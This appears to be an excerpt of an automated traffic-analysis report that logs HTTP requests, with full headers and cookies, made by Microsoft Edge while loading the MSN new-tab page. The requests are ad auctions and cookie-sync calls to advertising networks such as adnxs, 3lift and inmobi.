Source: global traffic	HTTP traffic detected: GET /mapuid?suid=37FD034F4FC568D43F2E16214E436968&sid=16&gdpr=0&gdpr_consent= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /visitor/sync?uid=9871605be8d4b2a982914bf5c9348e7b&name=MSN&visitor=37FD034F4FC568D43F2E16214E436968&external=true&gdpr=0&gdpr_consent= HTTP/1.1Host: visitor.omnitagjs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: POST /auction HTTP/1.1Host: srtb.msn.comConnection: keep-aliveContent-Length: 2408sec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"X-MSEdge-ClientID: 37FD034F4FC568D43F2E16214E436968sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31x-ms-flightId: msnallexpusers,prg-sp-liveapi,prg-fin-compof,prg-fin-hpoflio,prg-fin-poflio,prg-1sw-cc-calfeedic,pnpwxexpire90,bing_v2_scope,prg-1sw-santf-lnrmc,prg-1sw-saqoomann4t2,prg-1sw-sageimcountc,prg-1sw-sageex1d,prg-adspeek,prg-pr2-widget-tab,traffic-tran-ny-c,prg-p2-ldnyct-transit,prg-p2-tran-trd,1s-p2-usecm,btie-ad-ar-logo2,prg-ad-logo-ar,1s-fcrypt,prg-1sw-sa-mg12,prg-ctr-pnpc,1s-ntf2-evlcfc,1s-ntf2-bknlc,1s-ntf2-iptlc,1s-pr2-evlc,1s-pr2-evlcbb,1s-pr2-evlch,1s-pr2-evlcn,1s-pr2-evlcrp,1s-pr2-evlct,1s-prg2-lifecycle,1s-wpo-pr2-ncard,1s-wpo-pr2-pnpfilter,1s-wpo-prg2-evlcfpcap2,1s-wpo-prg2-evlcgddn,1s-wpo-prg2-evlct3,prg-1sw-bg-p2,prg-1sw-cmevlt,prg-p2-tf-bdgpv-ai,prg-pr2-fieplc,prg-pr2-trf-rhighimp,prg-pr2-wxevolnoti,prg-upsaip-w1-t,prg-1sw-sagervuni2a,prg-revi-nocache,1s-rpssecautht,jj_fac_c,prg-pr2-cmuidsync,chatn_v2_t2,prg-pr1-uc-t,1s-p1-promotedondmd,1s-p1-ua4osvhw,1s-wpo-pr1-promad,prg-1unified-u-t,1s-wpo-pr1-ctl,1s-notifmapping,1s-shp-rc-te-combo3,1s-shp-rc-t2-ta7dnol2,1s-shp-rc-t3-ta7dnol2,1s-shp-rc-ta-uetv2c,1s-shp-rc-te-crcfa2,1s-shp-rc-te-terau,1s-shp-rc-tt-u2cc,prg-sh-frnr,prg-wx-dhgrd-c,prg-sh-dealsdaypdp,prg-sh-rmitmlnk-c,nopinglancecardit,prg-cg-ingames-xn-ads,prg-cg-in-gm-xn-ads,prg-1s-workid,prg-1sw-clari,prg-1sw-pr2clarity,1s-temp-wid-t,prg-1s-twid,ads-nopostsq-t,ads-nopostsq,1s-uasdisf-t,ads-usepme,ads-anjson-migt,sh-bdvid,prg-sh-bd-video,ads-nooutbrain,release-outlook-app,ads-prcrid-bi,cg-ad-active-ctr,ads-fbk-gserver,prg-cg-ab-testing,1s-ntf1-tvid-ctr,prg-1sw-reclaim2,prg-1sw-reclaim,1s-p2-bg-appanon,ads-bcn-cndomain,1s-blis-nocache,prg-cg-int-ad-pod,msph-crossmarketcn,msph-applbug,prg-pr2-lifecyclebac,1s-routesegexpc,prg-pw-t-no-ad-css,prg-1sw-wxnhcolk,ads-xnd-fullip,prg-1sw-crypinf,prg-1sw-cryptren,wid-1s-automg-cmp-t,1s-wid-automig-t,wid-1s-automig-t,1s-ntf1-dynprev,prg-webwi-stag,msph-adsrevpd,1s-sports-newdship,prg-stalewhp,1s-upsd-t,prg-cg-cfzhcnfx,prg-cg-lstfix,prg-ad-choice-fix-c,prg-1sw-agfspf1,prg-1sw-tbrfltr,prg-pr2-aitt,prg-fin-p2duea,prg-pr2-aisi,1s-uup-acthistory,prg-pw-t-cct-migrate,1s-wpo-lock-mvp-rev,1s-wpo-lock-mvp1-rev,prg-1sw-p1-ebexp-t3,prg-1sw-rctlp2,prg-gc-pickwinner,prg-1sw-cgl1qr,prg-fin-rmar,cprg-c-ad-chtag,msphxap-batch4,msphxap-offbatcham3,prg-shipwidoff,1s-wpo-widgets,prg-widgets-manager,prg-widgets-region,prg-ad-conf-ext,prg-pr2-delayheadert2,prg-pr2-delaybanner,prg-pr2-delayheader,prg-pw-rvtbhpwf,prg-pr2-stalecontent-dt,prg-pr2-stalecontent,prg-1sw-wxomghdContent-Type: application/jsonCache-Control: no-cachesec-ch-ua-platform: "Windows"X-MSEdge-Market: en-usAccept: /Origin: https://ntp.msn.comSe
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.mediago.ioConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=resriver&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=23f806c7-5292-45ef-a106-5a0e13b755fc&ii=1&c=6778524747806682709&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-resriver-1&ptid=edgechrntp-resriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /oRTB?redirect={PubRedirectUrl}&gdpr=0&gdpr_consent= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968;&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?https://c.bing.com/c.gif?anx_uid=$UID&Red3=MSAN_pd&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=river&i=1&p=edgechrntp&l=en-us&d=bing&b=Edg&a=65b90472-0510-406e-b224-c832b0c55177&ii=1&c=17023361848815731196&bid=c3efd042-9c07-4a40-a0f5-5b1fbaf8a049&tid=edgechrntp-river-1&ptid=edgechrntp-peekriver-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&bgTaskNetworkTimeoutSeconds=8&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true&enableWidgetsRegion=true HTTP/1.1Host: ntp.msn.comConnection: keep-aliveCache-Control: max-age=0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31Accept: /Service-Worker: scriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: serviceworkerReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-US&title=New+tab&OCID=MNHP_U531&enableForceCache=true HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"Device-Memory: 8sec-ch-ua-model: rtt: 200sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "94.0.992.31"sec-ch-ua-platform-version: "10.0.0"downlink: 10sec-ch-ua-bitness: "64"ect: 4gsec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/edge/ntp?locale=en-US&title=New%20tab&dsp=1&sp=Bing&startpage=1&PC=U531&OCID=MNHP_U531&firstlaunch=1Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _C_Auth=; pglt-edgeChromium-dhp=2083; sptmarket=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; MUIDB=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; MicrosoftApplicationsTelemetryDeviceId=68430e21-62d7-4fb6-ab0c-7db1512dd703; ai_session=0cANvDZ01jKAasiIQGymAl\|1736349529170\|1736349529170; sptmarket_restored=en-US\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=B25D3F03CED44BF6925DC8DED78E8089.RefC=2025-01-08T15:18:47Z; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /cs/msn?id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: trace.popin.ccConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /getuid?ld=1&gdpr=0&cmp_cs=&us_privacy= HTTP/1.1Host: eb2.3lift.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%3A%2F%2Fc.bing.com%2Fc.gif%3Fanx_uid%3D%24UID%26Red3%3DMSAN_pd%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=msn&id=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: code.yengo.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%3B%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?redirect=%7BPubRedirectUrl%7D&gdpr_consent=&gdpr=0&us_privacy=&gdpr_pd=&source=5&google_push=&retry= HTTP/1.1Host: sync.inmobi.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /mapuid?member=280&user=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fm.adnxs.com%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fseg%3Fadd%3D5159620%26redir%3Dhttps%253A%252F%252Fib.adnxs.com%252Fsetuid%253Fentity%253D483%2526code%253D37FD034F4FC568D43F2E16214E436968%2526gdpr%253D0%2526gdpr_consent%253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fmapuid%3Fmember%3D280%26user%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D%26redir%3Dhttps%253A%252F%252Fm.adnxs.com%252Fseg%253Fadd%253D5159620%2526redir%253Dhttps%25253A%25252F%25252Fib.adnxs.com%25252Fsetuid%25253Fentity%25253D483%252526code%25253D37FD034F4FC568D43F2E16214E436968%252526gdpr%25253D0%252526gdpr_consent%25253D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /setuid?entity=483&code=37FD034F4FC568D43F2E16214E436968&gdpr=0&gdpr_consent= HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /seg?add=5159620&redir=https%3A%2F%2Fib.adnxs.com%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: m.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fsetuid%3Fentity%3D483%26code%3D37FD034F4FC568D43F2E16214E436968%26gdpr%3D0%26gdpr_consent%3D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=3&p=edgechrntp&l=en-us&d=bing&b=Edg&a=2283769c-61e3-48bd-8dc8-e87035a8fc80&ii=1&c=6778524747806682709&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-3&ptid=edgechrntp-peekinfopane-1&t=type.msft-content-card&dec=1-1 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: USRLOC=; MUID=37FD034F4FC568D43F2E16214E436968; _EDGE_S=F=1&SID=2ED6CDD0AE5F620B0D5FD8BEAF2663CE; _EDGE_V=1; msnup=
Source: global traffic	HTTP traffic detected: GET /notify/served?rid=b25d3f03ced44bf6925dc8ded78e8089&r=infopane&i=11&p=edgechrntp&l=en-us&d=bing&b=Edg&a=4cf78bc2-d1f6-4e8a-8c92-096659eac4cb&ii=1&c=14308996391598105688&bid=88f1f8be-5d15-41a3-ac96-ad67b9470094&tid=edgechrntp-infopane-11&ptid=edgechrntp-peekInfopane-2&t=type.msft-content-card&dec=1_6_7-1_6_7 HTTP/1.1Host: srtb.msn.comConnection: keep-alivesec-ch-ua: "Chromium";v="94", "Microsoft Edge";v="94", ";Not A Brand";v="99"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36 Edg/94.0.992.31sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: 